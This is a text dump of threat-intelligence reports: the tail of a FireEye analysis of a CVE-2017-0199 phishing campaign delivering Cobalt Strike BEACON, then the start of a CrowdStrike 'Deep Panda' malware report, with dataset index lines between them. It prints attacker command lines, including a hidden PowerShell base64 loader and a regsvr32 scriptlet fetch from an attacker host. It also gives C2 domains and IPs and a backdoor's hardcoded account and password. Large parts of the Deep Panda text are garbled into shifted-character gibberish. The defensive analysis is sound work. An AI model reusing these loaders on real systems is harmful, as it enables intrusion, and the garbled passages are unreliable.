parameters: Process Inject Targets: windir\syswow64\rundll32.exe windir\sysnative\rundll32.exe c2_user_agents Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0 FunWebProducts IE0006_ver1EN_GB) Named Pipes \\s\pipe\msagent_x beacon_interval 60 C2 autodiscover.2bunny[. ]com/submit.php autodiscover.2bunny[. ]com/IE9CompatViewList.xml sfo02s01-in-f2.cloudsend[. ]net/submit.php sfo02s01-in-f2.cloudsend[. ]net/IE9CompatViewList.xml C2 Port TCP/80 Figure 12 depicts an example of a BEACON C2 attempt from this payload. 8/14 Figure 12: Cobalt Strike BEACON C2 FireEye Product Detections The following FireEye products currently detect and block the methods described above. Table 1 lists the current detection and blocking capabilities by product. Detection Name Product Action Notes SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) HX Detect XSLM Macro launch Gen:Variant. Application.
210
HackTool.
42,604
42,649
46
data/reports_final/0210.txt
HackTool. CobaltStrike.1 HX Detect XSLM Macro launch Malware Object HX Detect BEACON written to disk Backdoor. BEACON NX Block BEACON Callback FE_Malformed_RTF EX/ETP/NX Block RTF Malware. Binary.rtf EX/ETP/NX Block RTF Malware. Binary EX/ETP/NX Block RTF Malware. Binary.xlsx EX/ETP/NX Block XSLM Table 1: Detection review Appliances must be configured for block mode. Recommendations FireEye recommends organizations perform the following steps to mitigate the risk of this campaign: 1. Microsoft Office users should apply the patch from Microsoft as soon as possible, if they have not already installed it. 2. Search historic and future emails that match the included indicators of compromise. 3. Review web proxy logs for connections to the included network based indicators of compromise. 4. Block connections to the included fully qualified domain names. 5. Review endpoints for the included host based indicators of compromise. Indicators of Compromise The following section provides the IOCs for the variants of the phishing emails and malicious payloads that FireEye 9/14 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199 has observed during this campaign. Email Senders PressReader infodeptcloudsend[. ]net Angela Suh angela.suhcloudsend[. ]net Ashley Safronoff ashley.safronoffcloudsend[. ]net Lindsey Hersh lindsey.hershcloudsend[. ]net Sarah Roberto sarah.robertocloudsend[. ]net noreplycloudsend[. ]net Email Subject Lines Macron Denies Authenticity Of Leak, French Prosecutors Open Probe Macron Document Leaker Releases New Images, Promises More Information Are Emmanuel Macrons Tax Evasion Documents Real? Time Allocation Vacancy Report china paper table and graph results with zeros some ready not all finished Macron Leaks contain secret plans for the islamisation of France and Europe Attachment Names Macron_Authenticity.doc.rtf Macron_Information.doc.rtf US and EU Trade with China and China CA.xlsm Tables 4 5 7 Appendix with zeros.xlsm Project Codes - 05.30.17.xlsm Weekly Vacancy Status Report 5-30-15.xlsm Macron_Tax_Evasion.doc.rtf Macron_secret_plans.doc.rtf Network Based Indicators (NBI) lyncdiscover.2bunny[. ]com autodiscover.2bunny[. ]com lyncdiscover.2bunny[. ]com:443/Autodiscover/AutodiscoverService/ lyncdiscover.2bunny[. ]com/Autodiscover 10/14 autodiscover.2bunny[. ]com/K5om sfo02s01-in-f2.cloudsend[. ]net/submit.php sfo02s01-in-f2.cloudsend[. ]net/IE9CompatViewList.xml tk-in-f156.2bunny[. ]com tk-in-f156.2bunny[. ]com/Agreement.doc 104.236.77[. ]169 138.68.45[. ]9 162.243.143[. ]145 Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0 FunWebProducts IE0006_ver1EN_GB) tf-in-f167.2bunny[. ]com:443 (Only seen in VT not ITW) Host Based Indicators (HBI) RTF MD5 hash values 0bef39d0e10b1edfe77617f494d733a8 0e6da59f10e1c4685bb5b35a30fc8fb6 cebd0e9e05749665d893e78c452607e2 XLSX MD5 hash values 38125a991efc6ab02f7134db0ebe21b6 3a1dca21bfe72368f2dd46eb4d9b48c4 30f149479c02b741e897cdb9ecd22da7 BEACON and Meterpreter payload MD5 hash values bae0b39197a1ac9e24bdf9a9483b18ea 1151619d06a461456b310096db6bc548 Process arguments, named pipes, and file paths powershell.exe -NoP -NonI -W Hidden -Command Invoke-Expression (New-Object IO.StreamReader ((New-Object IO.Compression. DeflateStream ((New-Object IO.MemoryStream (,([Convert]::FromBase64String(base64 blob) regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll \\ip\pipe\msagent_4 digits C:\Documents and Settings\user\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original GET request) Yara Rules 11/14 rule FE_LEGALSTRIKE_MACRO meta:version.1 filetypeMACRO authorIan. Ahlfireeye.com TekDefense date2017-06-02 descriptionThis rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7. strings: // OBSFUCATION ob1 ChrW(114) ChrW(101) ChrW(103) ChrW(115) ChrW(118) ChrW(114) ChrW(51) ChrW(50) ChrW(46) ChrW(101) ascii wide ob2 ChrW(120) ChrW(101) ChrW(32) ChrW(47) ChrW(115) ChrW(32) ChrW(47) ChrW(110) ChrW(32) ChrW(47) ascii wide ob3 ChrW(117) ChrW(32) ChrW(47) ChrW(105) ChrW(58) ChrW(104) ChrW(116) ChrW(116) ChrW(112) ChrW(115) ascii wide ob4 ChrW(58) ChrW(47) ChrW(47) ChrW(108) ChrW(121) ChrW(110) ChrW(99) ChrW(100) ChrW(105) ChrW(115) ascii wide ob5 ChrW(99) ChrW(111) ChrW(118) ChrW(101) ChrW(114) ChrW(46) ChrW(50) ChrW(98) ChrW(117) ChrW(110) ascii wide ob6 ChrW(110) ChrW(121) ChrW(46) ChrW(99) ChrW(111) ChrW(109) ChrW(47) ChrW(65) ChrW(117) ChrW(116) ascii wide ob7 ChrW(111) ChrW(100) ChrW(105) ChrW(115) ChrW(99) ChrW(111) ChrW(118) ChrW(101) ChrW(114) ChrW(32) ascii wide ob8 ChrW(115) ChrW(99) ChrW(114) ChrW(111) ChrW(98) ChrW(106) ChrW(46) ChrW(100) ChrW(108) ChrW(108) ascii wide obreg1 /(\w5\s\s)7\w5/ obreg2 /(Chrw\(\d1,3\)\s\s)7/ // wscript wsobj1 Set Obj CreateObject(\WScript. Shell\) ascii wide wsobj2 Obj. Run ascii wide condition: ( ( (uint16(0) 0x5A4D) ) and ( all of (wsobj) and 3 of (ob) or all of (wsobj) and all of (obreg) ) ) 12/14 rule FE_LEGALSTRIKE_MACRO_2 meta:version.1 filetypeMACRO authorIan. Ahlfireeye.com TekDefense date2017-06-02 descriptionThis rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4. strings: // Setting the environment env1 Arch Environ(\PROCESSOR_ARCHITECTURE\) ascii wide env2 windir Environ(\windir\) ascii wide env3 windir \\\syswow64\\windowspowershell\\v1.0\\powershell.exe\ ascii wide // powershell command fragments ps1 -NoP ascii wide ps2 -NonI ascii wide ps3 -W Hidden ascii wide ps4 -Command ascii wide ps5 New-Object IO.StreamReader ascii wide ps6 IO.Compression. DeflateStream ascii wide ps7 IO.MemoryStream ascii wide ps8 ,([Convert]::FromBase64String ascii wide ps9 ReadToEnd() ascii wide psregex1 /\W\w\s\s\.\/ condition: ( ( (uint16(0) 0x5A4D) ) and ( all of (env) and 6 of (ps) or all of (env) and 4 of (ps) and all of (psregex) ) ) 13/14 rule FE_LEGALSTRIKE_RTF meta: version.1 filetypeMACRO authorjoshua.kimFireEye.com date2017-06-02 descriptionRtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom strings: header \\rt lnkinfo 4c0069006e006b0049006e0066006f encoded1 4f4c45324c696e6b encoded2 52006f006f007400200045006e007400720079 encoded3 4f0062006a0049006e0066006f encoded4 4f006c0065 http1 68 http2 74 http3 07 // 2bunny.com domain1 32\\ domain2 62\\ domain3 75\\ domain4 6e\\ domain5 79\\ domain6 2e\\ domain7 63\\ domain8 6f\\ domain9 6d\\ datastore \\\\datastore condition: header at 0 and all of them Acknowledgements Joshua Kim, Nick Carr, Gerry Stellatos, Charles Carmakal, TJ Dahms, Nick Richard, Barry Vengerik, Justin Prosco, Christopher Glyer 14/14 Privileges and Credentials: Phished at the Request of Counsel Summary The Emails The Attachments RTF Attachments XLSM Attachments Second Stage Payload FireEye Product Detections Recommendations Indicators of Compromise Email Senders Email Subject Lines Attachment Names Network Based Indicators (NBI) Host Based Indicators (HBI) Yara Rules Acknowledgements
211
DEEP PANDA INTELLIGENCE TEAM REPORT VER.
42,650
43,486
837
data/reports_final/0211.txt
DEEP PANDA INTELLIGENCE TEAM REPORT VER. 1.0 DEEP PANDA 1 EXECUTIVE SUMMARY 21 1 TECHNICAL ANALYSIS 3 Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) 3 Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) 5 Initial C2 Phone Home Beacon 6 Network Protocol and Implementation 7 Backdoor Functionality, Supported Commands 7 Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133) 8 Network Protocol and Implementation 9 Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) 10 C2 Communication Mechanisms 12 C2 Command Invocation 13 Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) 14 Entrypoint 14 Network Signatures 18 File System Artifacts 19 Registry Artifacts 19 Other Artifacts 19 2 1 MITIGATION / REMEDIATION 183 1 ATTRIBUTION 20 4 1 CONCLUSION 25 Dropper/Implant 1 25 Post Exploitation Tool 25 Implant 2 26 Backdoor DLL 26 System Driver 26 5 1 APPENDIX 27 Appendix A: Command Line Options for Post Exploitation Tool Sample 27 Appendix B: Algorithm for computing machine ID 28 Appendix C: Remote Commands Supported by .NET Backdoor Post Exploitation Tool Sample 28 Appendix D: Raw bytes of example Authentication packet. 30 Appendix E: Initialization of KEY and IV for AES 30 Appendix F: Command Control Servers 31 Appendix G: Edward Suns kernel network hook code 32 Appendix H: Command and Control MD5 Correlation 41 6 ,QODWHHFHPEHUURZG6WULNH,QFUHFHLYHGWKUHHELQDU\H[HFXWDEOHOHVWKDWZHUHVXVSHFWHGRI KDYLQJEHHQLQYROYHGLQDVRSKLVWLFDWHGDWWDFNDJDLQVWDODUJH)RUWXQHFRPSDQ\7KHOHVZHUH DQDO\]HGWRXQGHUVWDQGUVWLIWKH\ZHUHLQIDFWPDOLFLRXVDQGWKHOHYHORIVRSKLVWLFDWLRQRIWKHVDPSOHV The samples were clearly malicious and varied in sophistication. All three samples provided remote access to the attacker, via two Command and Control (C2) servers. One sample is typical of what is commonly referred to as a dropper because its primary purpose is to write a malicious component to disk and connect it to the targeted hosts operating system. The malicious component in this case is what is commonly re- ferred to as a Remote Access Tool (RAT), this RAT is manifested as a Dynamic Link Library (DLL) installed as a service. The second sample analyzed is a dual use tool that can function both as a post exploitation tool used to infect other systems, download additional tools, remove log data, and itself be used as a backdoor. The third sample was a sophisticated implant that in addition to having multiple communication capabilities, and the ability to act as a relay for other infected hosts, utilized a kernel mode driver that can hide aspects of the tool from user-mode tools. This third component is likely used for long-term implantation and intelligence gathering. Some AV engines occasionally identify this sample as Derusbi Trojan. CrowdStrike Intelligence Team has seen Trojans from 8 different builder variants of this RAT, including 64-bit versions, used in targeted attacks in 2011 against Defense, Energy/Power, and Chemical Industries in US and Japan. OORIWKHVHVDPSOHVUHHFWFRPPRQWRROPDUNVDQGWUDGHFUDIWFRQVLVWHQWZLWKKLQHVHEDVHGDFWRUVZKR target various strategic interests of the United States including High Tech/Heavy Industry, Non-Governmental Organizations (NGOs), State/Federal Government, Defense Industrial Base (DIB), and organizations with vast economic interests. This report contains an in-depth technical analysis of the samples, detection/remediation/mitigation information, attribution intelligence, and a conclusion aimed at providing the reader with a synopsis of the report. EXECUTIVE SUMMARY S E N S I T I V E 2CROWDSTRIKE DEEP PANDA The executable 14c04f88dc97aef3e9b516ef208a2bf5 is commonly referred to as a dropper, which is designed with the purpose of extracting from itself a malicious payload and to initialize and install it into a targeted system. In this case, the malicious payload is a Dynamic-Link Library (DLL), which enables an attacker to have full control of the system. This code appears to have been compiled on Wednesday May 4th, 2011 at 11:04:24 A.M. UTC (equivalent to early evening time in China). Note that the timestamp is in 87KRZHYHUWKHUHODWLYHWLPHRIGD\LQKLQDLVSURYLGHGIRUWKHEHQHWRIWKHUHDGHU7KHVDPSOHUVW resolves several library functions provided by Microsoft using the LoadLibrary() and GetProcAddress() Application Programming Interfaces (APIs). The imported function names are not encrypted however, the function name is minutely obfuscated by a simple single character substitution: The dropper invokes the SHGetSpecialFolderPath() API supplying a Constant Special Item ID List (CSIDL) of CSIDL_COMMON_DOCUMENTS to identify the destination folder for the malicious DLL payload. The 6,/LQWKLVFDVHSRLQWVWR7KHOHV\VWHPGLUHFWRU\WKDWFRQWDLQVGRFXPHQWVWKDWDUHFRPPRQWRDOO users. A typical path is C:\Documents and Settings\All Users\Documents. 7KHGURSSHUDWWHPSWVWRZULWHWKHPDOLFLRXVSD\ORDGWRRQHRIWKHIROORZLQJOHQDPHVXVLQJWKHUVW available name in this set: 1. infoadmn.dll 2. infoctrs.dll 3. infocardapi.dll 7KHGURSSHUVHWVWKHFUHDWLRQDQGODVWZULWWHQWLPHVWDPSRIWKHQHZO\FUHDWHGOHWRWKHGDWH WKLVDOORZVWKHQHZO\FUHDWHGPDOLFLRXV//WREOHQGLQZLWKRWKHUV\VWHPOHV7KLVLVPHDQWWR SUHYHQWLGHQWLFDWLRQGXULQJGLVNIRUHQVLFVXVLQJDFRPPRQLQYHVWLJDWLYHWHFKQLTXHFDOOHGDIRUHQVLF DQDO\VLVWLPHOLQH7KLVGDWHLVVSHFLHGLQWKHGURSSHUFRGHDQGGRHVQRWFKDQJHDFURVVPXOWLSOHLQIHFWLRQV 7KHPDOLFLRXV//OHWKDWLVGURSSHGLVKLGGHQLQDUHVRXUFHRIWKHGURSSHUELQDU\7KLVLVDUHODWLYHO\ FRPPRQWHFKQLTXHXVHGE\PDOZDUHGURSSHUOHVWRRSWLPL]HWKHQXPEHURIOHVUHTXLUHGWRLQIHFWD PDFKLQH7KHUHVRXUFHODQJXDJHRIWKHPDOLFLRXV//LVVHWWRKLQHVH6LPSOLHGWKLVLVDFRPSLOHU artifact which indicates the language setting on the compiler used by the person who built the binary was VHWWRKLQHVH6LPSOLHGDWWKHWLPHWKHGURSSHUZDVFRPSLOHG7KH0KHDGHUZKLFKGHQRWHVDELQDU\ H[HFXWDEOHOHRI TECHNICAL ANALYSIS Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) S E N S I T I V E 3CROWDSTRIKE //Obfuscation of GetTempPathA() API function call strcpy((char )ProcName, 2etTempPathA) ProcName[0] G DEEP PANDA WKHGURSSHG//LVLQLWLDOO\REIXVFDWHG:KHQWKHGURSSHUZULWHVWKHOHWRGLVNWKHUVWE\WHRIWKHOHLV ZKLFKSUHYHQWVWKHOHIURPH[HFXWLQJRUEHLQJGHWHFWHGDVDQH[HFXWDEOHE\PDQ\GHIHQVLYHWRROV 7KHGURSSHUVXEVHTXHQWO\RSHQVWKHGURSSHGOHDQGFRUUHFWVWKHKHDGHUE\ZULWLQJWKH0RYHUWKHUVW E\WHDOORZLQJWKHOHWREHH[HFXWHG VXEURXWLQHWRGHFRPSUHVVWKHGURSSHGOHLVSUHVHQWDVGHDGFRGHFRGHWKDWLVQRWXVHGLQWKH ELQDU\7KLVVXEURXWLQHZLOOEHLQYRNHGRQWKHDOUHDG\FORVHGOHKDQGOHRIWKHGURSSHGOHLQWKHSUHVHQW code version. Since the dropped resource is not compressed, the routine fails. This indicates a low VRSKLVWLFDWLRQPRGLFDWLRQWRWKHRULJLQDOGURSSHUFRGHWRPDNHLWZRUNZLWKDQXQFRPSUHVVHGUHVRXUFH 7KHQDOVWHSWKHGURSSHUSHUIRUPVLVWRORDGWKHGURSSHG//LQWRLWVRZQSURFHVVVSDFHLWWKHQUHVROYHV WKHH[SRUW2SHQ,1)23HUIRUPDQFHDWDIURPWKH//DQGLQYRNHVLWZLWKWKHGURSSHG//VOHQDPHDV parameter. This export then implements the actual install logic to maintain persistence and invoke the main routine. The dropper binary contains an icon resource that resembles the Google Chrome browser icon, the re- VRXUFHODQJXDJHLVVHWWRKLQHVH6LPSOLHGZKLFKLVFRQVLVWHQWZLWKWKHEXLOGHURIWKHWRROKDYLQJWKHLU systems language set to Chinese. The use of the Chrome icon may indicate a possible attempt to socially HQJLQHHUWKHLQWHQGHGYLFWLPLQWRWKLQNLQJWKHGURSSHUZDVDOHJLWLPDWHOHDVVRFLDWHGZLWKRRJOH S E N S I T I V E 4CROWDSTRIKE DEEP PANDA 7KLVVDPSOHLVDEDFNGRRUZKLFKLVWKH//GURSSHGE\WKHGURSSHUVDPSOHOHZLWKDQ0RI 14c04f88dc97aef3e9b516ef208a2bf5. This code appears to have been compiled on Wednesday May 4th, 2011 at 10:48:19 A.M. UTC (equivalent to early evening time in China). It is instantiated when it is mapped LQWRWKHSURFHVVVSDFHRILWVGURSSHUOHDQGLWVH[SRUWQDPHG2SHQ,1)23HUIRUPDQFHDWDLVFDOOHG 7KLVH[SRUWUVWDWWHPSWVWRVWRSDVHUYLFHFDOOHGPVXSGDWHZKLFKLVQRWDNQRZQ0LFURVRIW:LQGRZV service despite the appearance. If the service is present, the malware replaces its previous instances or versions of this backdoor. After attempting to disable the existing service, the malware tries to install itself as a service with that same name. During installation, the sample attempts to use documented APIs such as OpenSCManager() and CreateService() to initialize itself as a persistent Windows service. As a precaution, the sample writes settings directly to the Windows Registry to accomplish the same goal if installing the service with the documented APIs fails. The registry change creates the following key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\msupdate\\Parameters Following this, the subroutine will set the value of the ServiceDLL to the module handle of the DLL. The next key to be changed is: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost, which will have the msupdate key set to msupdate. The export CollectW3PerfData is registered as the main function of the DLL. If the installation of the new service is successful, the sample then starts the new service and exits. If the installation fails, the sample VSDZQVDQHZSURFHVVXVLQJUXQGOOH[HWKLVH[HFXWDEOHZLOOLQVWDQWLDWHWKH//DQGFDQFDOODVSHFLF exported function. In the case of installation failure, rundll32.exe calls the main functions export ROOHFW:3HUIDWD7KHUXQGOOH[HH[HFXWDEOHLVLQVWDQWLDWHGZLWKDQHZ18//6HFXULW\,GHQWLHU6, 6ZLWKSHUPLVVLRQVVHWWRJUDQWDOODFFHVVWRWKHOH7KLVDOORZVDQ\XVHUWRKDYHFRPSOHWHFRQWURO over the machine, as rundll32.exe is frequently launched by tasks such as changing the time, wallpaper, or other system settings. This means that after cleaning up the components dropped by the malware, the system remains vulnerable to local attacks by simply overwriting the legitimate rundll32.exe executable with a malicious version and await its automatic execution by the Operating System. 7KHPDLQHQWU\SRLQWWRWKH//LVQDPHGROOHFW:3HUIDWDDVLWUVWFUHDWHVDQGGLVSOD\VDIDNH Window with class NOD32_d where d is replaced with a pseudo-random number. This may be an attempt to fool some automated dynamic analysis or anti-malware software into believing this is the OHJLWLPDWH(6(79VRIWZDUH7KHZLQGRZLVKRZHYHUQRWYLVLEOHDQGLPSOHPHQWVQRVSHFLFIXQFWLRQDOLW\ After creating this window, the routine starts the main thread that eventually initiates calling out to the Command and Control (C2). In order to accomplish this task, the newly S E N S I T I V E 5CROWDSTRIKE Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) DEEP PANDA created thread initializes networking APIs using WSAStartup() and resolves some other APIs dynamically using LoadLibrary() and GetProcAddress(). Once the proper APIs have been resolved, the sample then assigns a NULL SID to the rundll32.exe executable and sets the current process Window Station to winsta0, which enables the sample to access the real users desktop if started as service. The communication to the C2 is handled by a while() loop, with each successive connection attempt causing the loop to invoke the Windows Sleep() API for a time interval of 2 seconds, exponentially increasing in length up to 1024 seconds (17 minutes) and then restarting back to 2 seconds. 7KHORFDWLRQLQWKLVVDPSOHLVVWDWLFDOO\GHQHGDV0DOD\VLD7PQHW7HOHNRP0DOD\VLD KG:KLOHWKHUHLVGHDGFRGHWKDWZLOOGRZQORDGWKHORFDWLRQIURPDQ77385/WKDWFRXOGEHGHQHG in the binary, using the User-Agent string Google, this code is not activated due to the format of the stat- LFDOO\GHQHGORFDWLRQXVLQJDQ,3DGGUHVV7KXVWKHVDPSOHZLOORQO\DWWHPSWWRFRQQHFWGLUHFWO\XVLQJ a raw socket to the C2 located at 1.9.5.38:443. This indicates the use of a boiler plate code or a builder software package that automates the creation of the malicious sample. The malicious sample sends an initial beacon to the C2 that includes the following information: 7KHFRPSXWHUQDPHDVREWDLQHGZLWKWKHHWRPSXWHU1DPH3, 7KHXVHUQDPHRIWKHFXUUHQW5HPRWHHVNWRSVHVVLRQLIFXUUHQWO\EHLQJH[HFXWHGLQD5HPRWH Desktop session or none otherwise. 7KHFXUUHQWO\ORJJHGLQXVHUQDPHLQWKHV\VWHPDVREWDLQHGZLWKWKHHW8VHU1DPH3, 7KHPDFKLQHVXSWLPH 7KH:LQGRZVYHUVLRQDQG6HUYLFH3DFNOHYHO 7KHDPRXQWRIDYDLODEOH3K\VLFDO0HPRU\LQ0 XUUHQW5HPRWHHVNWRSVHVVLRQVDVHQXPHUDWHGZLWK:76(QXPHUDWH6HVVLRQV VWULQJLGHQWLHUVWDWLFDOO\VHWWR), 7KHEHDFRQLVHQFU\SWHGXVLQJDQ25ORRSXVLQJWKHVWDWLFDOO\GHQHGNH\[DQGVHQWWRWKH The following python function can be used to decode the beacon stings: Initial C2 Phone Home Beacon S E N S I T I V E 6CROWDSTRIKE def decode(crypted): decoded for x in crypted: decodedchr(((ord(x)(0x1C 1)) (0x1C 1)) 0xFF) return decoded DEEP PANDA After sending the initial beacon, the routine loops receiving incoming commands and executes them in sequence. When a connection can successfully be established to the C2 server, the sleep timer is reset to two seconds for the next attempt. The network protocol used by this sample resembles a Type-Length-Value layout in both directions. Each 16 byte request header consists of: QXPHULFDOE\WHVHHPLQJO\OLWWOHHQGLDQFRPPDQGLGHQWLHU 2. A 4-byte little-endian payload length 3. 8 bytes remaining are a request header that is typically uninitialized and only used by some commands instead of the arbitrary length payload HURRUPRUHRIVSHFLHGE\WHVRIDGGLWLRQDOSD\ORDGWKHQIROORZVWKHKHDGHU 7KLVLQERXQGSD\ORDGLVUHFHLYHGXQFRQGLWLRQDOO\DQGUHJDUGOHVVRIFRPPDQGW\SHLQWRD[HGVL]HVWDFN buffer of 408 bytes size. Providing additional payload of any larger size will result in a trivial exploitable stack EXIIHURYHURZWKDWDOORZVDUELWUDU\FRGHH[HFXWLRQGXHWRWKHDEVHQFHRIDQ\VHFXULW\IHDWXUHVRZHYHU exploitation of this vulnerability is unnecessary due to the already available unauthenticated command execution capabilities of this backdoor. Certain commands initiate a second connection to the C2 in a separate thread using the same network SURWRFROEXWSURYLGLQJDGLIIHUHQWUHTXHVWFRPPDQGLGHQWLHUWKDQIRUWKHLQLWLDOEHDFRQ The primary aim of this backdoor is remote desktop control functionality comparable to VNC or Remote Desktop over a custom protocol. It allows the adversary to view the main desktop graphically and control the keyboard and mouse. This remote control functionality is implemented as separate messages IRUPRXVHFOLFNVSUHVVHGNH\VHWFXVLQJFRPPDQGLGHQWLHUV[WR[7KHFRPPDQG 0x22000001 initiates continuous transmission of screen captures to the C2. The screen captures are created using a series of Microsoft Windows Graphic Device Interface (GDI) API calls culminating in a call to GetDIBits(). Command 0x20000001 exits the backdoor and 0x20000000 is issued to completely remove the backdoor from the system. Network Protocol and Implementation Backdoor Functionality, Supported Commands S E N S I T I V E 7CROWDSTRIKE DEEP PANDA When command 0x23000004 is received, a temporary new user _DomainUser_ with password Dom4nU- serP4ss is created and added to the local Administrators group. The backdoor is then started under that account and the user is deleted. It would appear this technique is meant to obfuscate the activities of the malicious sample by masking the process creators user name to appear to be a generic domain user. Note that such an account does not normally exist in an Active Directory environment. Additionally, the primary C2 connection allows for requests to start additional connections to the C2 imple- menting the following functionality: SURFHVVFRQWUROFRQQHFWLRQLQLWLDWHGE\FRPPDQG[WKDWDOORZVIRUHQXPHUDWLRQDQG killing of running processes SLSHGFRPPDQGOLQHSURFHVVFRQQHFWLRQWKDWDOORZVFRPPXQLFDWLRQZLWKVWDQGDUGLQSXWDQG output of arbitrary executables initiated by command 0x23000000 OHEURZVHUFRQQHFWLRQLQLWLDWHGE\FRPPDQG[WKDWDOORZVIRU /LVWLQJGLUHFWRU\FRQWHQWV RS\LQJGHOHWLQJDQGPRYLQJOHV 2SHQLQJOHVXVLQJWKH6KHOO([HFXWH3, RZQORDGLQJDQGXSORDGLQJOHVIURPWRWKH 5HPRWHHVNWRSVHVVLRQHQXPHUDWRULQLWLDWHGE\FRPPDQG[ This sample is typical of a post exploitation tool it is written in .NET 2.0. This code appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China). The backdoor functionality can be instantiated either directly from the command line or through commands issued over a network based protocol via the C2. If no arguments are given, a connection to the C2 is initiated to the stati- FDOO\GHQHG,3DGGUHVV7KHFRPPDQGOLQHRSWLRQVVXSSRUWSRVWH[SORLWDWLRQFDSDELOLWLHVVXFKDVFKDQJLQJ OHWLPHVWDPSVIRUHQVLFPLWLJDWLRQSULYLOHJHHVFDODWLRQODXQFKLQJWKHH[HFXWDEOHDQGVSHFLI\LQJDVSHFLF C2. 2QHLQWHUHVWLQJFRPPDQGOLQHRSWLRQDOORZVWKHEDFNGRRUWROWHUWKHFRQWHQWVRIVSHFLHGOHVWRUHPRYH FRQWHQWXVLQJDUHJXODUH[SUHVVLRQUHJH[7KLVFRPPDQGWKHQPRGLHVWKHFUHDWLRQPRGLFDWLRQDQGODVW DFFHVVWLPHVWDPSVRIWKHPRGLHGOHWRFRQFHDOWKHFRQWHQWPRGLFDWLRQVGHWDLOHGOLVWLQJRIFRPPDQG line arguments can be viewed in Appendix A. This activity is generally associated with log cleaning to com- plicate a forensic investigation. The sample contains an embedded IP address for C2 that is stored in an encrypted format as a string re- source: W P-TK-.FK-X7PR6N-.D))) Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133) S E N S I T I V E 8CROWDSTRIKE DEEP PANDA S E N S I T I V E 9CROWDSTRIKE 7KHUVWWZRE\WHVRIWKLVVWULQJUHSUHVHQWWKHEDVHOHQJWKRIWKHHQFU\SWHGVWULQJLQWKLVFDVH[ )ROORZLQJWKLVLVDEDVHHQFRGHGVWULQJRIWKHVSHFLHGOHQJWK2QFHWKLVVWULQJKDVEHHQGHFRGHG XVLQJEDVHWKHUHVXOWLVWKHQ25GZLWKWKH[HGYDOXHRI[\LHOGLQJWKHGHFRGHG,3GGUHVV 202.86.190.3:80 (Hong Kong: TeleOne(HK) Limited). There are three components to the protocol: Authentication is accomplished using a 32 byte packet, this packet consists of: IRXUE\WHPDJLFNH\ZKLFKLQWKLVVDPSOHLVVWDWLFDOO\GHQHGDV[ 2. A four byte random number generated by the rand() function 3. The machine ID comprised of an obfuscated combination of the Machine name and hard drive serial number. The algorithm for generating this is in Appendix B 4. The communication protocol version number, which in this sample is 0x2 5. The version of the malicious sample, in this case it is 841 An example authentication packet sent to the C2 is located in Appendix E IWHUVHQGLQJWKHLQLWLDODXWKHQWLFDWLRQSDFNHWWKHVDPSOHYHULHVWKDWWKHUVWIRXUE\WHVRIWKHUHVSRQVHLV HTXDOWRDVWDWLFDOO\GHQHGYDOXHLQWKLVVDPSOHWKHYDOXHLV[,QDGGLWLRQDQE\WHNH\LVVHQW to the client which is then RC4 encrypted using the random number generated in step 2 from above as the password. This value is then transformed using a simple algorithm in Appendix F into a 32 byte array. The UVWE\WHVRIWKLVDUUD\DUHWKHQXVHGDVWKH. (DQGWKHVHFRQGE\WHVDUHXVHGDVWKH,9IRUVHWWLQJ up AES encryption which is then used to encrypt and decrypt any further communications. Network Protocol and Implementation DEEP PANDA Beacon, this is typical of this type of malicious sample, it allows the operator to separate various infected hosts in a targeted campaign. The beacon for this sample is formatted as XML and consists of: 7KHLQIHFWHGPDFKLQHQDPH XUUHQWWLPH]RQH :LQGRZVYHUVLRQ /RFDOWLPHGDWHRIWKHLQIHFWHGPDFKLQH SURWRFROYHUVLRQ An example of an unencrypted beacon: ? xml version1.0 encodingutf-16? BasicInfo xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www. w3.org/2001/XMLSchema HostName Infected System Hostname/HostName int_0-8/int_0 osVersionMicrosoft Windows NT 6.1.7601 Service Pack 1/osVersion string_012/27/2011 16:34:36/string_0 Version2/Version /BasicInfo Command handling loop, this is a loop structure that will process and execute commands sent by the C2. The malware sends and receives a heartbeat/keepalive packet every 2 minutes. The command format is derived from a structure consisting of: 7KHVHHOGVDUHUHFHLYHGDVDVHTXHQFHRIVHULDOL]HG1(7REMHFWVLQWKHRUGHUVSHFLHGGHWDLOHG description of the possible values for commands is in Appendix D. It is important to note that the order in ZKLFKWKHDSSOLFDWLRQGHQHVWKHPLVQRWWKHVDPHRUGHUDVWKH\DSSHDUWREHFRPLQJRYHUWKHQHWZRUN ([DPSOHVRILPSOHPHQWHGFRPPDQGVLQFOXGHGRZQORDGDQGXSORDGOHVLQVWDOOLQJQHZ1(7DVVHPEOLHV calling methods on those assemblies, connecting to new C2 servers and executing processes. Backdoor DLL Sample (MD5: de7500fc1065a081180841f32f06a537) This sample is a sophisticated backdoor which implements several communications protocols and was GHYHORSHGLQ7KLVELQDU\LVFRPSLOHGZLWKWKH6DJXVLQJ9LVXDO6WXGLRHQDEOLQJVWDFNEXIIHU RYHURZGHWHFWLRQ7KLVFRGHDSSHDUVWRKDYHEHHQFRPSLOHGRQ6XQGD\2FWREHUDW30 UTC (late evening time in China). The code contains several Run Time Type Information (RTTI) artifacts that LQGLFDWHPRVWRIWKHFODVVQDPHVZHUHSUH[HGZLWKWKHVWULQJ3BLQWKHRULJLQDOVRXUFHFRGH S E N S I T 